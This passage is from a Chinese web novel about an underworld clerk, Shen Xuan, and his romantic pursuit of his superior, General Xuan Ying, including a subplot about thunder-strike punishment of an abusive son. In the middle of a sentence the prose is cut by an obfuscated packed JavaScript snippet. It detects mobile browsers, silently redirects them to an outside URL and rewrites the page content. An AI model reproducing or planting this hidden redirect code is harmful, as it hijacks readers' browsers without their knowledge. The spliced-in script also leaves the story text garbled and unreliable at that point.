俩人侧着头看见彼此信任,又不经意暴露伤疤的眼睛,都像撕开伪装怕伤人的温暖野兽。 “领导,首先你要开心,其次都是其次。” 温热的吐息忽然贴近了,沈选的指尖继续捻起上司耳畔的耳坠。 “这次,换一换,我来等你吧。” 23.天字号:雷部(4) 换他来等,沈选的第二次主动让宣婴一愣。 在宣婴看来,以前到目前为止的他都是小孩子,但是沈选的身子都是成年人了,现在没有年龄限制,他不是早就可以给大将军提供情绪价值,让他们从上下级变成别的关系了么? 两个人如果真心喜欢对方,能理解,懂关心,凭什么不可以跨越阴阳? 世俗的眼光,敢来找他的沈选不在乎,也不想管那么多。 他不止小时候喜欢宣婴。 他现在就是要娶到宣婴。 在他眼里,无论是上天阻碍,还是三官不允,他都不会再离开这个过于不真实的美梦…… 沈选还回想起宣婴脸上的胎记,在心上暴露出非婴不要的专情本性: “我说想追城隍爷才考试,肯定会被当成是不上进的人。” “所以不能直接把求婚戒指拿出来,而是让他能看到我这个人的闪光点,当然宣婴的想法也最重要,不管回报成不成比,我都要多陪伴他,凡事遇到不理解的地方有耐心,我对他是认真的,我们的感情要好起来才得一步步慢慢来。” 他踏实肯干不抱怨的心头不自觉一阵期待着他们两个人在一起的未来。 可一个不了解领导的年轻人第一天过来上班,总是要搞砸点事情才符合常理的。 很遗憾的是,沈选今天不小心就犯了第一个他身为下属的低级错误——他还是不懂看领导的脸色做人。 肌肉男保安大哥带着二十二个外卖到了门口。 让他分外疑惑的是,宣婴和沈选在……? “大将军!!!沈判官!!!你们是在接吻吗!” 他们只是想单独说话,沈选被打断,宣婴也别扭躲掉放在他脸上的手,恶狠狠瞪着沈选不说话。 这个眼神中传达的“饥”和“渴”真的很容易让彼此不熟悉的人误会什么。 心跳也不小心乱了几个节拍。 沈选不由自主地眨了眨受到宣婴强烈吸引的眼睛,他逼自己不要想太多,狠狠掐着手心自我劝解:“大将军都不肯说记得我,怎么会因为我的话,露出这种眼神看着我?” 宣婴本就有一双凶恶上翻的三白眼。 在阴间走夜路时小鬼最怕跟他对视。 但刚才透过那对缩成细小针状的深黑色瞳孔,沈选看到了宣婴差点失态。 宣大将军因为像他母亲,少年时被人说貌若好女。 但被地府收编后的他素来是阴司殿上一员只杀不度的猛将,气质上更是堪称英武邪气,肆意妄为。 那他这副弱小无助的哀求是什么意思? 他不知道宣婴到最后都在警觉自己的本能。 事实就是,宣婴真的饿了。在沈选靠上来时,他的胸腔热得遭罪,巴不得拉过沈选的身子,两个人在一起环着脖子缠绵缱绻地嘴对嘴,互啃那两片香晕对方的唇。 没有体会过男女情爱,一直也都没和任何人说过,他连寻常夫妻生儿育女的步骤是什么,都压根不知道。 宣婴看着沈选的嘴,暗骂男人才是骗人的鬼,又忍到得眼冒绿光,流着心动的口水默念三遍,饥饿感是减肥成功的第一步——但他心里根本都想嗷嗷怪叫着冲去生啃绿化带了。 终于,在宣将军神志不清的大脑发出一种类似开水壶的尖叫前,青龙变成一阵风冲进来了,他们最后肯定还是需要解释清楚,徒留沈选继续暗自思考起他这种奇怪的行为。 但沈选不会打草惊蛇,他有些时候的个性很隐忍不发。 他向宣婴鞠了一个躬。 “谢谢您刚刚扶我,我差点摔了。”说着,轻轻抚摸着手指的沈选摇了摇头,把目光也投向领导耳朵上的一个地方,嘴角露出一抹淡淡的幸福来。 “咳咳。”宣婴恶声接受了这句谢谢。 “哦哦!原来如此!”青龙恍然大悟,又悄声问领导:“那……22?” “22号开会!!我知道了!走!” 宣婴在沈选手上吃了哑巴亏,他转身就走,单手扯耳坠,线条流畅的玫红色脖颈滚烫得厉害,用手抓住才能盖掉他因为食欲大增而浑身冒火的耳垂颜色。 …… 宣婴走出月老祠。 看着满脸傻乎乎的青龙,夺回外卖的大将军难为情地小声问:“你刚才真的没看见?” 青龙疑惑:“看见什么?” 宣婴:“……” 龙听说是水产。 鱼也是水产。 那么下属的记忆只有7秒就很科学。 毕竟不会有正常人像沈选一样,脑子无论清除记忆多少次,都有缓存数据可以恢复,还阴魂不散地给他招来今天的横祸! …… 一路看到宣婴和青龙走了,月老回办公室了,进门还正好看到一个沈选在帮他整理毛线。 月老爷本来以为窃喜的关系户要趁此机会狠狠地排挤他。 没成想,他和大将军一模一样的脾气被沈选已经摸透了。 “我也会打毛线,您看,这样可以吗。”沈选的声音让宣婴沦陷,也让月老的傲娇小公举心理掉线了。 “走开!” “我,我自己会!” 月老也呕气和宣婴一样娇羞地跑掉了。 …… 沈选后来在宣婴的手上办完入职,就改成搭地府地铁回上海了。 沈选在车上也一直没有睡着,想的都是那个时候。 他依稀在想,记得年幼时,爷爷沈严曾问过孙子将来要找什么样的妻子。 沈选想起家里的老相框有一个花旦。 那个人就是他的梦中情鬼。 “我要娶的媳妇,要漂亮到像画里走出来的。” “他的脸要像纸一样白。” “眼睛像墨团点的。” “嘴唇血红似人血。” 他说的东西最像的就是城隍庙供的纸扎人。 所以他恪守这个标准找到了传说中的阴曹地府,立志 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宣婴突然身体前倾,朝沈选白天来上班的方向伸出一只手。 “沈樵,我真的很抱歉,但我还是想再说一次对不起。” “从头到尾,是我对不起沈家所有的人,伤害了他们,也害死了一个根本不应该死去的你。” 他的拳头抓紧用了些力气捶打头部。 他看起来手心在出汗,需要一个人像白天的沈选那样温柔地抱抱他。 “我绝对不会吃了他。” 宣婴有点自责难过到说不出话的声音憋出了一声难听奇怪的吸鼻涕,他用埋下头的动作将自己蜷缩起来: “但为什么他对我好,会让我觉得,我自己的心里更难受,反而更觉得对不起你们了呢。” …… 一晃眼就过了好几天。 沈选在金华府都管上人事行政(跑腿)快三天了。 他的工位目前还是在月老祠,对门的那个厨房就是人们常说的灶王爷办公室,也叫东厨司命。但这个灶王爷是金华府专属的职工,和他一样,东边的梅葛二圣传说是染织业的祖师爷。旧时的染织店在祭祀的时候,常常焚烧一种“纸马”,这“纸马”由五色纸或黄纸扎成,上面印有梅葛二圣的神像,但一座城隍庙也都有配置不同的梅葛二老们。 土地月老灶王等等,每座城市都是同神位,但不同名的“官”在担任。 这几天的沈选好不容易认全大家的职位,他办公室内部的上下关系也在有所发展。 沈选这个下级每天早上都会态度积极地打开了电脑。 按下开机键,他的心情像是即将开打一场仗,辛福地搓了搓手指边的香味,他觉得自己最近真的是一上班就被宣婴的香气包围…… 可当他手指关节在键盘上发出阵阵敲击声时,做完任务的交接人都是土地公公和灶王爷。 24.天字号:雷部(5) 沈选是什么智商,都不用问,一眼看出不主动出现的宣婴想避嫌。 他就用工作做敲门砖。 “将军,你在吗?你看这个资料是这么填写吗?” “不是,我在上面跟你说,你写这儿。”宣婴不会爬下来,他会叉着腰站在头顶教他。 沈选跟着会过来,爬爬爬一口气爬到他旁边的柱子,宣婴只能这样被迫蹲在半空中看文档,每次的大将军还都会被沈判官没话找话:“嗯?原来是这样,谢谢你。你真好,大将军,你真是一个温柔耐心的领导。” 宣婴咬牙切齿地看着沈选这张模范丈夫帅脸,他心里真是恨死自己以前没好好读书了,他的嘴巴怎么可能刻薄不起来了? 沈选什么也没说。 端起他带来的茶,晃两下递给宣婴,查看文档上的文字。 他比宣婴更在意大家还没结婚之前的工作。两个人只能在一起闭嘴干活,宣婴艰难地点点电脑上的那张上级引雷通知。 “引雷?”沈选疑惑的声音放小点,但他的长相完全不像是故作不知,释放出男性魅力的嗓子也又转为弱小者姿态。 “将军可不可以教教我?” “……………………” 一股想大骂沈选不要脸的劲儿涌上来。 宣婴满脸杀气地告诉自己,沈选来找下地狱,一定是因为他本身有非常人所能理解的伟大追求,他有不做人的理想!热爱众生生命轮回!尊重人冥法律! 那他们必须好好上班了! 可听他亲口说出下午要外出施雷的前因后果,沈选诧异地推了推眼镜框,可算开始惊醒的眼睛让宣婴舒服多了。 “等、等一下!将军,我可以帮你打报告,可你说今天要去打雷劈死……一个活人?” 就大白天直接劈死算了?这不用走地府流程吗? 宣婴一听,抱着胳膊的他得逞地冷笑一声,拿出一身武官气质抓过沈选弱鸡一样的胳膊说: “这一页文书不都写了!我今天出门劈死的是一个不孝子,在人间,家暴不用死刑,但他是可能被五雷劈死的,就拿这个人来说,他打的次数太多,雷部又有执法记录仪查记录,所以这个人挨的是二雷轰顶。” “……” “对了,他有意外保险的,这笔赔款都归老婆亲妈,这就能抵消阴债。” 宣婴一直是长发,平常都是一头发丝垂在锁骨到后颈,但日常工作时留的发型还是高马尾,当他这么故意低下头随便比划,随风散落的发丝能把实习生迷的神魂颠倒。 险些分心的沈选看起来对这个工作内容也有些说不出话了。 宣婴习以为常地拍他的后背一下,加强锻炼说:“哼,知道怕了吧?这才是最初级的地府工作!这你就怕了?神除了负责雷打不孝子,还有很多工作,比如我,就一直在给地官殿第五层的恶鬼们行刑。这个得分拘押和斩首两个步骤。就在前两天的夜里,我刚送走一个人间被枪毙的杀人犯,他以为他这辈子只要死了就还可以来找我们办理投胎转世,但是我亲口告诉他,满身业报者,地官永不赦他……所以我把他给掏肠,拔舌,滚了十八圈钉板,最后又把辣椒水倒进了他的鼻孔呵呵呵呵呵呵呵——死吧都给我快点死!!!” 沈选:“……” 对不起。 他不应该对着领导使劲呼气吸气最后开始憋气。 但这一幕,太容易让人把宣婴幻视成了地狱三头狗,还有儿时经典动画的犬夜叉了,也不知道大将军八月十五会不会对月咆哮还嘴里嗷呜嗷呜嗷呜。 可不要被宣婴萌晕明显才是……一个地府公务员考进来之后需要做的新人培训课吧? 崔判您还真鸡贼。 沈选偷偷地消化了一下,他根本没觉得宣婴残暴凶狠,但他还是看了眼电脑记录。 雷,打的是一个坏人。 他也没干过这等亏心事。 今天……就是这二雷直接劈他的脑袋,他都打死也不反抗自己最心爱的地官大人。 宣婴又开始立新的规矩。 “你现在这种态度就很好,以后要少说话,多做事。等你熟练了,才会需要陪我去天上开会出差,我到时候随时会用仙家符箓找你,当我发,在吗?你就说——” “已收到,领导。” 沈判官答对了,宣婴长长地松了口气,他们胡扯完毕,不想耽误单位工作的沈选又被指挥着打开电脑,一张金华府人员名单和天宫发电机到位一起出现了。 通知上写着当事人家属的意见: “冥司律法在上,大将军在上,民妇有本奏,本月十五,雷劈吾儿,送他上路,我方解脱。” 让沈选做文书处理的宣婴说:“第一步,永远先保存。第二,我下午就去开雷部云层发电机了,你写准不孝子二雷轰顶。第三。” 沈选问:“第三是什么?” 宣婴耳朵通红,一拳没打在电脑屏幕上,又挥到他头上了。 “第三,不要在领导和你说话的时候,只看我不看着电脑!!!!!!” 含悲倒地不起的沈选想说他再也不敢了,领导别动手,但一切为时已晚。 当天,头顶的神秘部门准时叫走了宣婴。 到了三点多,沈选的舍友们也找他聊天了。 手机群在问:“牛会哞,马会叫,牛马今天下地了吗?下了的话,快拍个工位过来。” 沈选没力气回答了。 他觉得头晕恶心,还想再爬起来好好地为领导工作,也许沈判官真的被地狱三头犬打出脑子上的坑了。 沈选也在摸索工作中找到了饭搭子。 青龙经常喜欢飞进来,今天变成人,也爬进来问他:“沈选,我差不多吃饱了,但这里有一份不要钱的麻辣烫!你吃不吃!” “谢谢,但你为什么要扛着柱子?” 青龙说:“因为我除了是保安,还是金华府的修理工,通厕所的,拿外卖的。领导说只有他可以爬柱子,你不行。” “……” 作为一个喜欢举一反三的年轻人,沈选当下不去失落,他就陷入工作中的沉思。 原来地府各部门的分工这么繁琐,混乱,不合理,还充斥着同事之间的代加班和隐形劳动?这也难怪阴间公务员这么忙,宣婴当年在他家过完年还一直喜欢搞人间蒸发。 你看把大将军都累成白头发了,这酆都劳动法好像不行? 于是他和青龙聊到了一起,还得到了一份来路不明的工作餐。 当他用一次性筷子吃完碗里的麻辣烫,继续开始查跟工作有关的资料,沈选发现,原来天官,地官和水官这三个部门都有替人间伐恶体察的基本司法职能。 雷部司法厅安在九重天上,手拿的肯定是劈死世间所有不孝子的kpi。打雷下雨也一般是雷部将军们的活儿。 但雷部们如果正好忙,也会让自己的同僚——专门砍人脑袋的冥府将军代为引雷。 这不发电机已经瞄准了一个当事人吗。今天下午死的男人住在金华市某个镇子上,因为总是殴打七十岁的老母亲被告了阴状。据状纸上的其他信息说,其母自从三十二岁丧夫,便独自一人养大他读书就业,家中活计从不让幼年时期的他沾手,助长了不孝子的嚣张跋扈,因为这一出“惯子害子”不仅让老母亲晚年无福,还害得儿媳妇,孙子孙女都成了被家庭暴力波及的无辜受害者。 可是这老太太活了大半辈子也不糊涂,世间不止有法官,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15022938|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有神官,她儿子觉得法律杀不了家暴男,母亲就托懂道行的人给大将军府写了一本阴状,烧香拜神只为上报这件事。 老太太懂规矩,告阴状不成就是主动放弃了轮回转世,如果上天觉得她儿子这都不该死,那她就要在人间用一命换一命。 宣婴带着发电机,一去就是七八个小时。 没等到他吃饭的沈选后来又去找了孽镜台站,拿下周要用的开会记录。 听说这个站点是除了饿鬼道以外,也比较危险的一个地方。凡是到地府里来报到的鬼魂,都要先照一面镜子,这面镜子就名叫孽镜台,传说只要在它面前一照,生前做过的所有事,无论善事恶行,都会映照出来。照过之后,生前作过恶的鬼魂就要走到罚恶司面前,接受审判。 说起来,宣婴的前世和他功德圆满的故事又是怎么回事? 宣大将军的脾气跟沈选认为的“阴判”不同,他眼中没有法律途径,全是个人情绪。 这种人应该投胎托生到一个父母双全的家庭,活在热闹明媚的人间烟火里,在十来岁的年纪蹬着自行车跟同学比赛谁飙得快,下了课抱着球鞋踢两场又跑去买冰棍吃。 周围环境会一辈子爱这种孩子,把他托举起来,体会真正的朋友家人和爱情。 地府并不适合他。 这么萌的领导,应该嫁到他们家来过好日子,沈判官碗都不让他洗。 可他们没到聊这种事情的关系。 沈选想了十几秒钟,车到了,他跑过来准备上车回金华府,另一边地铁3号线刚好就有一个乘客,两个人方才没发现对方,后来小女孩从洞口尺寸狭窄的地铁隧道跑回来了。 沈选觉得鬼魂不能看脸,被害妄想症严重的心持续作祟,他看着那个小女孩的举止戴好耳机,眼前走过来是什么鬼,这些都不关他的事,敢过来扑脸他就一个飞踢踹下铁轨。 但是无论是人,还是鬼,恐怕都需要重新定义阴阳。 下一秒,两双若有所思的眼睛对上,民国时期的鬼魂小姑娘好奇又灵动地看着沈选和他的栗子蛋糕,她的长发绑成两个小辫子,穿着褪色的碎花布头衣服,洗的硬梆梆的黑色裤子,她的胸前是一个大布袋,裤腰别了一个找零钱的小袋子,她已经死在一百年前的声音还像小百灵鸟一样可爱天真。 “卖报了!卖报了!那位大哥哥,求你买一份1938年的《扬子晚报》吧!” 沈选脑子嗡嗡—— 但他完全不想管。 出生在这个时代的他不是放不开手脚,是远远地看着小女孩的笑容绽开,他的心头就会不舒服,可猛然间又有种声音也在叩问他。 “都考进地府还抵触跟鬼交流,你算什么判官,你这个人还真从小没用。” “去单位每次看见那人,你也准备这样么?” 但根本他容不得多想,远处传来游神铃铛的隧道口亮到让他强行闭眼,霎时间,他和小女孩都在空间扭曲中变得身体模模糊糊。沈选还看到脑海之中的一个幻觉:血红的天,残破的地,一只妖气冲天的手挥舞着傩神法器,眼前身后是尸横片野,那个人是尸体顶上的鬼面具傩神。 与此同时,周遭环境变暗,一辆原地快速倒退的地府列车停下来,缓缓打开的车门在对他说。 “下一站,上海10号线地铁孽镜台站转夜间3号线黄泉路。” “站内地官友情提醒,本站需补5铜元的城隍路引,按人间汇率,约等于地铁票两块钱。” 他再转过去,小姑娘不见了,地上却多了一张纸,沈选捡起来,赫然发现这是一张残缺的乐谱纸,上头还写了一个日期和一句话。 “这张纸上有线索,求您用歌声去地府找他。帮帮忙吧公务员大人。”